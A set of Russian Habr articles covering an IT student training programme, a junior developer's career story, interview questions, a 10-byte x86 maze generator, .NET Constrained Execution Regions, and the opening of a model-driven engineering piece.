лентами, его заставили с самого начала учиться, так сказать вручную, он привык бы учиться самостоятельно и продолжал бы учиться дальше. Разве это не разумно? А когда эта привычка достаточно укрепится, человеку можно будет прививать небольшое количество знаний с помощью лент, чтобы заполнить пробелы или закрепить кое-какие детали. После этого он сможет учиться дальше самостоятельно. – А мы? – спросил Джордж. – Мы, исключения? Один на десять тысяч? – Вам ничего нельзя объяснить. В том-то и дело. Ведь в этом заключается последнее испытание. Даже после отсева в День образования девять человек из десяти, попавших сюда, оказываются не совсем подходящими для творчества, и нет такого прибора, который помог бы нам выделить из этой десятки того единственного, кто нам нужен. Десятый должен доказать это сам. – Каким образом? – Мы помещаем вас сюда, в приют для слабоумных, и тот, кто не желает смириться с этим, и есть человек, которого мы ищем. Быть может, это жестокий метод, но он себя оправдывает. Нельзя же сказать человеку: «Ты можешь творить. Так давай, твори». Гораздо вернее подождать, пока он сам не скажет: «Я могу творить, и я буду творить, хотите вы этого или нет». Есть около десяти тысяч людей, подобных тебе, Джордж, и от них зависит технический прогресс полутора тысяч миров. Мы не можем позволить себе потерять хотя бы одного из них или тратить усилия на того, кто не вполне отвечает необходимым требованиям. Поскольку мгновенное вкладывание навыков в голову обучаемого пока остаётся фантастикой, студенту придётся приложить усилия самостоятельно. Даже если в университете программирование преподаётся «на уровне», курс необходимо усвоить, а не «прослушать». А обучение в заборостроительном институте может даже оказать помощь, поскольку не создаст ложное ощущение «нам это читали, я всё знаю». Со своей стороны, компании, заинтересованные в притоке квалифицированных кадров, тоже должны брать на себя ответственность за подготовку студентов. Во второй части статьи я расскажу о нескольких программах поддержки школьников и студентов в построении профессиональной карьеры в IT на примере питерского Центра R&D Dell Technologies. Как компаниям «ковать» кадры? ----------------------------- Народная мудрость гласит: «Воспитывать ребёнка надо, пока он поперёк лавки лежит». Исходя из этой максимы в Dell Technologies разработана многоступенчатая система взаимодействия с будущими инженерами: от обучения школьников старших классов и до участия инженеров Центра в комиссиях по защите бакалаврских и магистерских работ. С 2018 года мы дружим с организаторами IT-курсов для школьников Digital Banana. В прошлом году наши инженеры помогали проводить хакатон для школьников, выступали с лекциями и мастер-классами на фестивале «Цифровые джунгли». Ещё одна образовательная программа для школьников старших классов, Student STAR, поддерживается на международном уровне. Пошёл уже восьмой год участия нашего Центра Разработок в этой программе: ежегодно в июне около 30 выпускников 10-го класса физматшкол на неделю погружаются в мир Software Engineering. И если об измеримых результатах сотрудничества с Digital Banana говорить ещё рано, то выпускников Student STAR прошлых лет мы уже видим среди студентов ведущих технических вузов. Поиск перспективных будущих инженеров продолжается и среди первокурсников. В сотрудничестве с фондом имени Леонарда Эйлера в шести университетах, входящих в партнёрскую сеть Dell Technologies (Политех, СПбГУ, ИТМО, ЛЭТИ, ГУАП, ПГУПС), по результатам первой сессии лучшим студентам выплачивается именная «Стипендия успешного первокурсника». А на втором курсе стипендиаты получат возможность принять участие в программе наставничества. Статья о ней, кстати, была опубликована в этом блоге на Хабре [несколько лет назад](https://habr.com/ru/company/dell_emc/blog/260835/). Могу только добавить, что на фотографиях последних лет снова можно увидеть те же лица – многие наши mentee успешно закончили университет, стали сотрудниками Dell Technologies, а теперь вернулись в программу наставничества уже в роли менторов, преподавателей и кураторов. ![](https://habrastorage.org/r/w780q1/webt/9j/xt/gt/9jxtgtynyrptw3yt6l-llkhfwmu.jpeg) *Кирилл Забелин был участником менторской программы и студенческих проектов, а сейчас является полноценным инженером, ведёт практику в Политехе и регулярно выступает перед студентами. В этом году заканчивает бакалавриат* Следующий этап – «программа совместных студенческих проектов», которая даёт студентам возможность участвовать в проекте R&D прямо в университете. И вовсе не обязательно всем участникам такого проекта быть студентами того же университета, к ним могут присоединяться и учащиеся других – даже условных «заборостроительных» – университетов. Задачи на совместные проекты уже берутся из нашего реального бэклога, из тех, которые хотелось бы сделать для проекта, но высока вероятность откладывания «на потом» под давлением более приоритетных задач. В совместном проекте роль тимлида выполняет сотрудник университета, а наши инженеры выступают заказчиками. Дополнительные бонусы от участия в совместном студенческом проекте в том, что хорошо показавшие себя студенты в первую очередь будут рассматриваться как кандидаты на позицию интерна, а результаты совместных проектов могут быть использованы в качестве материала для курсовых или дипломных работ. История совместных проектов с университетами насчитывает немало безусловно успешных кейсов. Например, разработка одной из утилит для [СХД Unity](https://www.delltechnologies.com/ru-ru/storage/unity.htm) начиналась, как совместный проект с ГУАП. Был и курьёзный случай, когда техническое задание по совместному проекту оказалось слишком сложным для студентов третьего курса ИТМО (я пытаюсь спихнуть часть ответственности с себя, как одного из кураторов этого проекта), а вот продержавшиеся до финала участники смогли продемонстрировать умение справляться с трудностями и практически в полном составе стали нашими интернами. Сейчас они уже полновесные инженеры. ![](https://habrastorage.org/r/w780q1/webt/wz/oq/bt/wzoqbtfbatha97k8c0saexl5j7m.jpeg)*Инженеры Dell Technologies, которые присоединились к нашей команде после совместного прохождения студенческого проекта: Анастасия Зиннер, Никита Тюкачев, Владислав Алексеев* Студентов третьего-четвёртого курсов бакалавриата университеты начинают всячески стимулировать к участию в реальных проектах (мы же помним, что stimulus – заострённая палка, которой в древнем риме подгоняли запряжённых быков). Тут-то в голове среднестатистического студента и всплывает магическое слово «стажировка», которая должна моментально и автоматически совершить превращение куколки в бабочку студента в инженера. Ещё один, не требующий никаких дополнительных усилий (кроме записи на стажировку), переход, такой же фантастический, как это описано у Айзека Азимова. В реальной жизни моментальных превращений не бывает, стажировка – процесс длительный. В Dell Technologies стажёры фактически играют роль джуниоров, и за полгода-год в роли интерна дорастают до перехода в статус штатного сотрудника компании. Очевидно, что участники программы наставничества и совместных студенческих проектов получают определённые преимущества при наборе на позицию интерна. Как минимум, они первыми получают информацию об открытых позициях от своих наставников или кураторов проекта. И на собеседованиях мы видим, что участники студенческих программ обычно оказываются более сильными кандидатами. С другой стороны, закрывать двери перед кандидатами, не прошедшими студенческий проект, мы тоже не собираемся. За рамками этой статьи остались многие другие способы взаимодействия со студентами. Например, выступления с лекциями на студенческих форумах или регулярно проводящиеся в нашем офисе «дни технологий», на которые может приходить любой желающий. Учитывая нынешнюю ситуацию на рынке труда, компаниям приходится тратить время и средства на подготовку кадров внутри компании или вне её. Хочется верить, что наши действия не только позволяют подготовить квалифицированных специалистов для себя, но и внести вклад в рост инженеров и развитие индустрии в целом. **Автор материала – Денис Довженко, Software Senior Principal Engineer.**
https://habr.com/ru/post/497392/
null
ru
null
# Из гусеницы в разработчика: каков был мой путь в программирование ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/54d/136/cf1/54d136cf1242683a08f950cd2152c376.png)Всем привет! Меня зовут Наташа, я работаю фронтенд-разработчиком в отделе внутренней автоматизации в ГНИВЦ. Пишу эту статью, чтобы познакомиться и поделиться с вами мыслями, которые посещали меня в начале моего профессионального пути. Начнём с того, что у меня техническое образование – в том году закончила кафедру «Информатика и управление» Калужского филиала Бауманского университета. Сфера IT всегда привлекала меня своей атмосферой, поэтому я изначально хотела сюда попасть. Во время учебы постоянно видишь одногруппников, которые 24/7 сидят в ноутбуках с умным видом. А я вообще с техникой на Вы (спойлер: этот момент не сильно изменился). Но в какой-то момент мне попалось на глаза объявление о бесплатном оффлайн курсе «Frontend-разработка». Была не была, попробуем.  Обучение проходило в стеке JavaScript, React, Typescript, Redux. На курсе мне дали всю базу JavaScript того времени (а прошло уже три года). После погружения предлагалось сделать клон всем известной (ныне запрещённой) социальной сети с фотографиями. По завершению проекта выдавали сертификат от организации. После чего я на года два забыла про фронтенд, так как в моём родном городе было три подходящие вакансии по фронтенд-разработке, но только с опытом от года, а про стажировки там и не слышали. ![](https://habrastorage.org/r/w780q1/getpro/habr/upload_files/b83/021/8d5/b830218d54974745041fbd938cdf6a1e.jpeg)После бакалавриата я перебралась в Москву для того, чтобы продолжить обучение в магистратуре. Вопрос о том, чтобы начать зарабатывать, встал более остро. Стала искать работу, но всё, что я умею – это немного писать на React. Как это всегда бывает, идти на первое собеседование было очень волнительно. И хоть ты за ночь досконально изучил все видео а-ля «двести тысяч вопросов для собеседования», идёшь туда с кашей в голове и не видишь ни одной причины, чтобы тебя взяли (спойлер: не взяли). После пары таких собеседований я решила всё же подойти к этому делу серьёзнее. Написала несколько пет-проектов. Найти интересные пет-проекты – это отдельное испытание, вот какие я выполнила: * пагинация (если не использовать существующие библиотеки, заставит напрячь мозги); * приложение с прогнозом погоды (практика работы с API); * таймер помидора (помимо функционала можно красиво стилизовать). В целом, не пренебрегайте стилями, я уже много раз слышала, что смотреть красивые приложения (если красота не в ущерб функциональности) намного приятнее, как в тестовых, так и в пет-проектах. И старайтесь понятно оформлять GitHub – пишите подробные описания ваших проектов, оформите главную страницу так, чтобы она запоминалась (можно с помощью Markdown-разметки красиво оформить `README.md` файл вашего аккаунта, [мне помогла эта статья](https://habr.com/ru/post/649363/). На своих последующих собеседованиях, а их было около 3-4, я каждый раз достаточно сильно волновалась: «А что, если разочарую людей или покажусь глупой?». Это очень выматывает. В какой-то момент я услышала мысль от своего преподавателя по английскому: на собеседовании не только работодатель выбирает тебя, но и ты выбираешь работодателя. «И где вы были раньше с этими словами», - думала я. Ведь действительно, вначале я и не думала оценивать ни компанию, в которую иду, ни людей, с которыми придется работать. Но ведь это архиважно! Тебе должны подходить ценности компании, так же как и их ценностям должен подходить ты. После этого я стала чувствовать себя чуть спокойнее на собеседованиях. Но появилась другая проблема. Я часто стала слышать, что программирование — не девчачье занятие. Почему люди не задумываются о том, что такие высказывания демотивируют девушек? Вопрос без ответа. В целом, это тянулось с университета. Каждый уважающий себя преподаватель считал нужным упомянуть, что девочки пришли сюда не учиться, а удачно выйти замуж. Ну да, конечно.  В то время, когда я искала работу, моя подруга устроилась в компанию на должность HR. В компанию как раз искали фронтендеров-стажёров, и стек технологий мне подходил. Я решила попробовать свои силы, но… в компании сказали, что не рассматривают девушек на должность разработчиков. После такого заявления начинаешь сомневаться вообще в выборе профессии. К счастью, сомневаться мне пришлось недолго! В один момент раздался телефонный звонок: «Добрый день, Наталья, я HR компании ГНИВЦ, слышали что-нибудь о нас?». Вот так меня позвали на стажировку по фронтенд-разработке. Для прохождения стажировки необходимо было сделать тестовое задание, после чего в течение месяца будет обучение, по результатам которого есть возможность попасть в штат. Тестовое состояло из двух «задачек». Первая – попроще: вводим местоимение и инфинитив глагола – на выходе получаем глагол в нужном лице и числе. Пришлось вспоминать правила русского языка… Вторая задачка мне понравилась больше: необходимо было создать «холст», на котором пользователь может мышкой нарисовать произвольный кривой круг, который превращается в идеально ровный. Использовать можно было абсолютно любые инструменты. Как я решила задачи на тот момент, можете посмотреть [здесь](https://github.com/kolishkinatasha/testGNIVC). С тестовым я справилась, но во время стажировки пришлось несладко. Нас с самого начала разделили на команды по 3-5 человек – жуткий стресс для интроверта. Каждая команда получила масштабный проект, который необходимо было представить в самом конце стажировки. Помимо этого, через день проходили видеолекции, и к каждой было домашнее задание. В общем, задач было предостаточно. Вначале я сильно волновалась не успеть и не разобраться. Но спустя неделю влилась. Осознала, что не понимать тему с первого раза – нормально. Ничего себе! И во многом это понимание пришло благодаря менторам, которые 24/7 поддерживали нас. Разделение на команды очень круто научило меня взаимодействовать с людьми при решении задач. Ведь софт-скиллы – это то, что обычно в начале пути вообще не принимаешь во внимание. По успешному окончанию стажировки мы должны были проходить групповое интервью с командами разработки. И тут произошло кое-что, что действительно произвело на меня впечатление, и я считаю важным об этом рассказать.  Меня собеседовали одновременно с одним парнем. Мы познакомились с командой внутренней разработки, после чего каждый из нас должен был рассказать о командных проектах. Первым отвечал парень, и он так уверенно говорил: «Я сделал это, реализовал то». Когда я отвечала после него, мне показалось, что я была похожа на мышь – очень стеснялась. Но команда выбрала меня, и на это не повлияли ни мой пол, ни возраст.  Я не поняла такой выбор: ведь человек достаточно хорошо разбирался и неплохо себя показал. Спустя время я решила спросить у руководителя, почему же они решили в пользу моей кандидатуры? И знаете, что я услышала? «Мы ищем командного игрока». Парень никак не упоминал команду, он говорил так, будто сделал всё самостоятельно и, хотя знания у него действительно были на хорошем уровне, выбор пал на меня. И вот я, спустя около 7 провальных собеседований, уже полгода работаю в компании, в крутой команде, где достаточно профессиональных как парней, так и девчонок, у которых многому можно научиться и которые вдохновляют на развитие. Вывод: верьте в себя! Не бойтесь быть собой! Не бойтесь стесняться, не бойтесь переспросить, не бойтесь отказов, и тем более не бойтесь быть девчонкой-программистом.  Надеюсь, эта статья придаст сил и уверенности тем, кто находится в начале своего профессионального пути! **P.S.** Замуж я, кстати, вышла за мальчика из университета, и весьма удачно. **P.P.S.** Может быть, преподаватель был прав:) Отчасти... Но это уже совсем другая история... **P.P.P.S.** Все мопсы настоящие. Все совпадения неслучайны. Мопс Борис - любимец ГНИВЦ! Он мог бы быть сотрудником, если бы нашлась подходящая должность – «главный мохнатый охотник», но пока такой нет. К слову, Борис посещает тренинги настоящих охотничьих собак, ведь он хочет показать всему миру, что порода не важна. Он также регулярно ходит на свидания, да и вообще жизнь его полна приключений, поэтому вы, наверняка, ещё не раз его увидите в нашем блоге!
https://habr.com/ru/post/679804/
null
ru
null
# Найм персонала: О важности примитивных вопросов Вам приходилось бывать на долгих собеседованиях? На многоуровневых собеседованиях? А может вы такие проводите сами? Многие компании ведут подобную практику, и большие и маленькие, но подобная практика имеет ряд очевидных минусов. Таких, как впустую потраченое время на интервьюирование человека по полной программе, который не подходит просто по техническим навыкам. В данной статье я хочу описать подход к интервью технических навыков (про остальное не забываем, но в статье рассматривать не будем), который, возможно, сбережет вам кучу времени. Сутью подхода является задавание вопросов, которые грамотный специалист расценит как: «Ты что дурак? Меня о таком спрашивать!» ##### Куда мы катимся Для начала небольшое лирическое отступление. Наверное с выходом книги Уильяма Пандстоуна: «Как сдвинуть гору Фудзи», многие компании помешались на вопросах на сообразительность, и многие посты на хабре из разряда «Как я собеседовался в компании ХХХ» это подтверждают. Эти задачки тиражируются, их полно в инете и думаю что уже каждый знает: почему канализационные люки делают круглыми и знает пяток вариантов решений того, сколько шариков для пинг-понга влезет в школьный автобус. Да, такие вопросы помогают выявить уровень сообразительности кандидата, а также его подход к решению задач. Но он тоже не гарантирует, что в рабочей рутине человек будет также сообразителен и активен (знаю несколько людей которые задачки на IQ щелкают как орешки, но в работе увальни и лентяи). Я считаю, что прежде чем бюрократизировать в бумажной форме порядок проведения интервью, необходимо сесть и составить KPI на все открытые вакансии, например: командность, лояльность к компании и профессиональные навыки. И далее проводить интервью, четко выявляя насколько кандидат сможет соответствовать нашему KPI не тратя время на все лишнее. Сутью предлагаемого в данной статье метода первичной оценки кандидата является оценка ответов на примитивные вопросы по языкам программирования и технологиям. Данный подход не нов, и придумал его далеко не я, но я, как и многие, взял его на вооружение, убедившись в его эффективности. На данный момент я заканчиваю с полемикой и приступаю к описанию действенности метода на примере. ##### Суть метода на примерах ###### Пример вопросов касающихся Multithreading (для Windows) *Вопрос:* Назовите объекты ядра которые используются для синхронизации потоков. *Profit:* Мы узнаем о том, какие объекты ядра знает/использует человек. Знает ли он вообще, что такое объекты ядра. Имеет ли он представление о конкуренции потоков. По ответу человека мы можем задать вопрос уже по его предыдущей практике, например как он использовал какие-то объекты или реализовывал какие-то механизмы взаимодействия. *Вопрос:* Чем отличается критическая секция и мьютекс? *Profit:* Мы узнаем не только о том, читал ли человек Рихтера, в случае положительного ответа, можно предполагать, что человек знает — что такое переключение контекста. Насколько оно критично для быстродействиствия. И, как результат, то, что человек заботился о производительности, снижая количество переключений контекста. Конечно, это только предположение, но его всегда можно подтвердить или опровергнуть более конкретными вопросами. Просто эти вопросы могут не понадобиться в зависимости от того насколько уверенно или развернуто отвечает соискатель. *Вопрос:* Что такое дедлок? (можно предложить человеку нарисовать на бумажке схему дедлока) *Profit:* Если человек сможет нарисовать схему дедлока, то с высокой вероятностью я могу предполагать, что человек сталкивался с дедлоками, знает как их диагностировать искать и устранять. Если есть неуверенность, то можно задать и более детальные вопросы. ###### Примеры вопросов касающиеся COM *Вопрос:* Для чего нужен интерфейс IUnknown? *Profit:* Если человек не понимает, для чего нужен этот интерфейс, то он не понимает всю идеологию жизненного цикла объектов COM. Какой смысл с ним разговаривать после этого? *Вопрос:* Сколько раз в приложении нужно вызывать функцию CoInitialize? *Profit:* Второй вопрос в лоб, если человек дал неправильный ответ, и вы его взяли, и он написал вам много кода, то потом пеняйте на себя, когда его код придется отлаживать. ###### Примеры вопросов по C++ *Вопрос:* Приведем кусочек кода: > `char\* word1 = “Hello”; > > char\* word2 = “Hello”; > > if( word1 == word2 ) > >   printf(“equal”); > > else > >   printf(“not equal”); > > > > \* This source code was highlighted with Source Code Highlighter.` Что будет напечатано в консоли после выполнения кода? *Profit:* Тише смех… Есть люди которые приходят собеседоваться на оклад в пару килобаксов, которые считают, что так можно сравнивать строки. Думаю с этим вопросом всё ясно. ###### Примеры вопросов, касающиеся .NET *Вопрос:* (Мощный вопрос в лоб ) Что такое управляемый код? *Profit:* Ну, тут всё очевидно, если нет ответа на данный вопрос, или человек несет полную ахинею, то такого человека точно не стоит брать на позицию выше Junior, т.к. полное непонимание идеологии .Net – это катастрофа. ##### Заключение Прошу прощения, что вопросов я привел мало, и написал такое занудное вступление. Просто я никак не мог подобрать хорошие слова для описания данного подхода. Но, я надеюсь, что прочитав раздел с вопросами, вы уловили суть. А ещё, по собственному опыту скажу, что 90% людей, которые ответили без проблем на примитивные вопросы, ответили мне и на более глубокие вопросы. Это даже превращалось из интервью в программу по разливанию бальзама на душу — ты задаешь человеку вопрос, а он отвечает правильно, хорошо и развернуто. Ну, и я думаю вам не составит труда составить аналогичные вопросы для своих вакансий и попробовать на практике применить этот подход. Надеюсь, вам он сбережет много времени, которое вы могли бы потратить на бестолковые дискуссии о программировании сервисов работающих 24/7 с человеком, который не знает, в каком случае в C++ надо писать «delete p», а в каком «delete[] p». Ну, а теперь давайте дискутировать, жду комментариев, критики и конструктива.
https://habr.com/ru/post/285328/
null
ru
null
# Программа вывода лабиринта в 13… нет. 10 байт! В прошлом, найдя интересное решение при написании демки, я тихо его использовал или же хвастался узкому кругу друзей на демосцене. Но теперь мои возможности достигнуть чего-либо на демосцене подошли к концу, а турниры по минималистскому программированию не проводятся, поэтому я решил написать в блог о своём достижении: генераторе лабиринтов объёмом всего в 13 байт машинного кода x86. Чтобы понять суть достижения, вам надо знать о команде 10 PRINT. Это строчка кода Commodore 64 BASIC, которая при запуске создаёт бесконечный лабиринт. Конечно, её вывод – это не настоящий лабиринт, входа и выхода там нет, и полно закрытых помещений и тупиков. Но выглядит он как лабиринт. Поражает то, как простая команда выдаёт бесконечно сложный шаблон. Также под названием «10 PRINT» издана книга на 324 страницы. Она рассказывает про код, искусство, восприятие, культуру, случайности, лабиринты и всё остальное. Рекомендуется к прочтению всем, кто интересуется программированием – там для каждого найдутся интересные темы, которые к тому же очень хорошо освещены и оформлены. #### 42 bytes Вернёмся к коду. В книжке «10 PRINT» я прочёл, что код из BASIC можно представить в более компактном виде в машинном коде C64. Там же была задачка для читателей. Рекорд был поставлен товарищами 4-Mat и Wisdom, которые впихнули решение в 15 байт. Мне стало интересно, а как это можно сделать на x86. Вот я и написал первую версию этой программы: ``` ; Простая программа, имитирующая вывод команды "10 PRINT" ; В этой версии используется "настоящий" рандом и не делается ; никаких предположений о содержимом регистров. ; Также мы переходим в режим низкого разрешения ; чтобы добиться более приемлемого соотношения сторон ; и выходим из программы по окончанию вывода лабиринта. init: mov ax,0001h int 10h ;выставляем цветной режим 40x25 xor bh,bh ;видео задали, поэтому vidpage=0 mov cx,(40*23) ;количество символов для вывода getrnd: xor ax,ax ;чтобы получить al=0 pushf cli ;запрещаем прерывания, чтение таймера должно быть атомарным out 43h,al ;запираем регистр счётчика in al,40h ;читаем lobyte счётчика mov ah,al in al,40h ;читаем hibyte счётчика popf ;включаем прерывания xchg ah,al ;теперь содержит 8253 raw 16-bit word pickch: shr ax,1 ;BIOS инициализируется в count-by-2, первый бит всегда lo shr ax,1 ; carry = "случайный" бит mov al,'\' jc writec ;если бит взведён, сразу пишем mov al,'/' ;иначе выбираем другой символ writec: mov ah,0eh ;выводим символ в режиме телетайпа int 10h loop getrnd int 20h ;выходим в DOS ``` Этот код ведёт себя «прилично», не делает предположений о состоянии процессора и завершает работу (оригинальная версия 10 PRINT работала бесконечно). Случайное число более-менее неплохо генерится из железячного таймера, который каждую секунду отсчитывает от 65535 до 0. При компиляции a86 выходит 42-байтовый файл .COM Размер сильно отличается от C64 в двух местах: генератор случайных чисел и выбор символа. У C64 преимущество в символах, т.к. оба слеша находятся рядом в PETSCII. Если у вас есть рандомный бит, его можно просто добавить к первому слэшу, и получить либо его, либо второй слэш. При использовании ASCII это не прокатит, приходится использовать условие. Затем для оптимизации я решил убрать условие выбора. При сдвиге кода одного из слэшей оба слэша начинают отличаться всего одним битом. ``` "/"=2f и "\"=5c 2f=00101111 5c=01011100 ``` Поэтому можно заменить кусок «pickch»: ``` pickch: shr ax,1 ;BIOS инициализируется в count-by-2, первый бит всегда lo push cx ;Сохраняем счётчик цикла mov cl,al ;копируем случайное число в cl and cl,1 ;cl теперь 0 или 1 mov al,'\' ;задаём символ '\' shr al,cl or al,cl ;если cl=1, то '\' превращается в '/', иначе – без изменений ``` Это было круто, но размер в результате увеличился до 48 байт. Пришлось отбросить идею. Ещё одна оптимизация – убрать процедуру вывода writec, и просто пихать байты в видеопамять. Это убирало два байта с процедуры вывода, но добавляло 4 байта на настройку (и 5, если оставаться в пределах стандарта 8086), поэтому это тоже пришлось отбросить. #### 25 байт Я внимательнее посмотрел на самый большой отрезок программы – генератор случайных чисел. Очевидно, что качество генератора нас не особо заботит – главное, чтобы не было очевидных повторений. Поэтому я заменил блок «getrnd» одной инструкцией LODSB. Она вынимает байт из памяти и переходит на следующий, поэтому можно читать последовательность из памяти. А место, с которого я начал читать – то, куда показывает DS:SI при старте программы. Для COM-файла в DOS он показывает на начало самой программы. Поэтому мой «случайный» поток определялся самим скомпилированным кодом, и всяким мусором от других программ. В результате код сильно уменьшился до 25 байт. #### 15 байт Тут я уже раззадорился – появилась возможность приблизиться к размеру версии C64. Я избавился от всяких телодвижений типа смены видеорежима, чистого выхода (теперь программа работает вечно) и инициализации регистров. В конце это выглядело так: ``` init: mov ah,0eh ;10h для вывода символов в режиме телетайпа getrnd: lodsb ;прочтём байт с того места, куда указывает DS:SI pickch: shr al,1 ;carry = "случайный" бит mov al,'\' jc writec ;если бит взведён, сразу пишем mov al,'/' ;иначе выбираем другой символ writec: int 10h ;выводим символ jmp getrnd ;бесконечный цикл ``` 15 байт – это успех! #### 13 байт Мне всё казалось, что я могу улучшить блок «pickch». Блок начинается с присваивания случайной величины в флаг carry, но у 8086 есть флаг чётности, который взводится автоматически в некоторых случаях. К сожалению, LODSB флаги не взводил. Математическая операция взвела бы флаг чётности, но такая операция заняла бы больше места. Если бы найти однобайтовую инструкцию, которая делает то же, что LODSB, и взводит флаг чётности в зависимости от входных данных… Есть такая инструкция! SCAS – загружает байт, сравнивает его с AL, и взводит флаг по результатам сравнения. Она предназначена для использования в цикле, но никто не мешает использовать её без цикла. И что в результате: ``` init: mov ah,0eh ;10h для вывода символов в режиме телетайпа getrnd: scasb ;прочесть с места ES:DI и сравнить с AL ;взводит флаг вместо вычитания pickch: mov al,'\' ;выбрать символ jc writec ;если бит взведён, сразу пишем mov al,'/' ;иначе выбираем другой символ writec: int 10h ;выводим символ jmp getrnd ;бесконечный цикл ``` И вот вам 13 байт. Работает даже на старых IBM PC, поскольку не использует инструкций от 80186+. Примерный вывод: ![](https://habrastorage.org/r/w1560/files/edf/05b/b3c/edf05bb3c1b74b688d02930563b30386.png) #### 12 байт Читатель Питер Ферье умудрился улучшить моё достижение на один байт ``` init: mov ax,0e5ch ;загрузим AH с cmd "запись символа" и AL с '\' scasb ;прочесть с места ES:DI и сравнить с AL ;this sets flags similar to a subtraction pickch: jp writec ;Если флаг чётности взведён, переходим к выводу символа из AL mov al,’/’ ;иначе выбираем другой символ writec: int 10h ;вывести символ из AL jmp init ;бесконечный цикл ``` Брависсимо. Однако ж, читатель herm1t отметил, что если мы используем int 29h для вывода символа, то код сокращается до #### 11 байт ``` init: mov al, '\' scasb jp writec mov al, '/' writec: int 29h jmp init ``` Хитро. Но погодите-ка, это ещё не всё! #### 10 байт ``` init: scasb salc and al,'\'-'/' add al,'/' int 29h jmp init ``` Питер нанёс ответный удар и стесал ещё один байт (этот код не будет работать на не-интеловских процессорах типа NEC V20 или V30).
https://habr.com/ru/post/251631/
null
ru
null
# Интересная задачка: повышаем стабильность (robustness) приложений (ч. 2) Итак, привожу решение проблемы из топика [habrahabr.ru/blogs/net/69545](http://habrahabr.ru/blogs/net/69545/) — про гарантированное освобождение неуправляемого ресурса. Как правильно заметил товарищ [adontz](https://geektimes.ru/users/adontz/), проблема решается при помощи CER. CER — это технология Constrained Execution Region, при помощи которой можно обезопасить свой код, гарантировав ему то, что на некотором его участке гарантированно \_не\_ случится асинхронного прерывания типа StackOverflow или ThreadAbort, или «отвалился» jitter — всякое бывает, и не всегда есть возможность оставить внешние ресурсы в консистентном состоянии. #### Того! Другими словами, мы можем «форсировать» рантайм на то, чтобы заблокировать участок код и подготовить все для его выполнения: проверить, что нам хватит памяти на стеке и в оперативке, за-jitt-ить код, и затем — рраз! — выполнить подготовленный код, а потом разобраться, не случилось ли чего. Чтобы исполнение кода не «отвалилось» в процессе, рантайм накладывает некоторые ограничения на то, чего \_нельзя\_ делать в регионе CER. И, в общем-то, просто так нельзя делать много чего:* исполнять MSIL-oпкод newobj; * выполнять боксинг (как мы знаем, он неявно вызывает newobj) (unboxing — можно); * вызывать виртуальные методы (если они явно не были подготовлены — как, покажу если надо); * вызывать методы через Reflection и обращаться к полям через Transparent Proxies; * использовать сериализацию; * использовать многомерные массивы(!); В целом, под CER следует «загонять» маленький критический кусочек кода (как правило, работа с внешними ресурсами), непрерывное исполнение которого должно быть гарантировано. Как раз то, что нам надо. Итак, вернемся к нашим ~~баранам~~ тяжелым будням, т.е. перейдем к примерам. Чтобы воспользоваться CER на практике, нужно копать в сторону класса-хелпера `System.Runtime.CompilerServices.RuntimeHelpers`. Его наиболее важный для нас метод — `PrepareConstrainedRegions`, и выполняет описанную подготовку — например, проходит по \_будущему\_ стеку вызовов, выполняя pre-jitt и расставляя stop-the-world отметки (теперь понятно, почему нельзя «в лоб» использовать виртуальные методы и интерфейсы — там динамическая диспетчеризация, и стека вызовов составить невозможно до момента реального исполнения кода). Теперь самое интересное. Использование этого метода должно выглядеть так: > > ``` > ... > System.Runtime.CompilerServices.RuntimeHelpers.PrepareConstrainedRegions(); > try {} > finally { >     // atomic-операции должны идти здесь > } > ... > > ``` > Именно так — пустой блок try, и все непрерываемые операции должны идти в блоке finally! Для проверки — такой тест: > > ``` > Thread t = new Thread(new ThreadStart( >         () => { >         RuntimeHelpers.PrepareConstrainedRegions(); >         try { } >         finally { >             while (true) { } >     }})); > >     t.Start(); >     Thread.Sleep(1000); >     t.Abort(); >     t.Join(); > > ``` > Программа работает и не завершается. Если теперь закомментировать try-finally, то программа закончится. Совсем — запрос на ThreadAbortException \_не\_ будет отложен до конца выхода из блока finally (которого не происходит из-за бесконечного цикла while(true){}), а сработает сразу же (почти сразу же) Теперь мы знаем, как «починить» наш код из примера с IntPtr: > > ``` > IntPtr ptr = IntPtr.Zero; > try { >     //... >     System.Runtime.CompilerServices.RuntimeHelpers.PrepareConstrainedRegions(); >     try { } >     finally { >         ptr = Marshal.AllocHGlobal(500); >     } >      // ..работаем, работаем.. > } > finally { >     if( ptr != IntPtr.Zero ) Marshal.FreeHGlobal(ptr); > } > ... > > ``` > На будущее — MSDN советует избегать использования неуправляемых ресурсов. Несколько странный совет в свете того, что одна из целей создания CLR — как раз-таки взаимодействие с унаследованным неуправляемым кодом и ресурсами. Так что я советую внимательно смотреть на места работы с неуправляемыми ресурсами — практика показывает, что даже в полностью работающей программе в этих точках можно отыскать 2-3 серьезных бага. Понятно, что я разобрал только то, что помогло мне разобраться с утечкой памяти; но в самом CER я не затронул вот что: контракты на методы, годные для CER, подготовка events для вызова внутри CER, подготовка виртуальных методов, использование Critical Finalizers, FailFast и MemoryBarriers для надежной работы программы и предотвращения утечек неуправляемых ресурсов. Надо ли писать об этом или отослать в MSDN?
https://habr.com/ru/post/69650/
null
ru
null
# Руководство по поиску работы для MDA-специалиста (и немного про метод анализа иерархий, Xcore и Sirius) ![](https://habrastorage.org/r/w780q1/files/321/001/8cc/3210018cc53b402ea9f569ce2f69ffcf.jpg) Это 4-я статья цикла по разработке, управляемой моделями. В предыдущих статьях мы познакомились с [OCL и метамоделями](http://habrahabr.ru/company/cit/blog/264963/), [Eclipse Modeling Framework](http://habrahabr.ru/company/cit/blog/266433/) и [Sirius](http://habrahabr.ru/company/cit/blog/267335/). Сегодня научимся описывать метамодели в текстовой нотации (а не в виде диаграмм как раньше) и познакомимся с табличным представлением моделей в Sirius. Сделаем это на примере кризиса среднего возраста и метода анализа иерархий. Возможно, это пригодится вам при разработке ИИ в играх, при принятии решений или в работе. #### **Введение** Вообще, я планировал статью про разработку DSL и преобразование моделей. Но мои планы внезапно нарушили мысли о смысле жизни, о том, тем ли я вообще занимаюсь. Самое очевидное, что может при этом сделать специалист по разработке, управляемой моделями, это * Выбрать метод, который позволит получить интересующие ответы (раздел 1) * Создать метамодель под этот метод (раздел 2) * Создать инструмент разработки моделей в соответствии с метамоделью (раздел 3) * Создать модель (раздел 4) * … * Profit Именно этим мы и займемся. > **Прмечание** > > > > Если вам интересен метод анализа иерархий, но вы не хотите разбираться в метамоделях и т.п., то [тут доступен Excel-калькулятор приоритетов](https://github.com/AresEkb/ahp/blob/master/ahp.xlsx?raw=true). 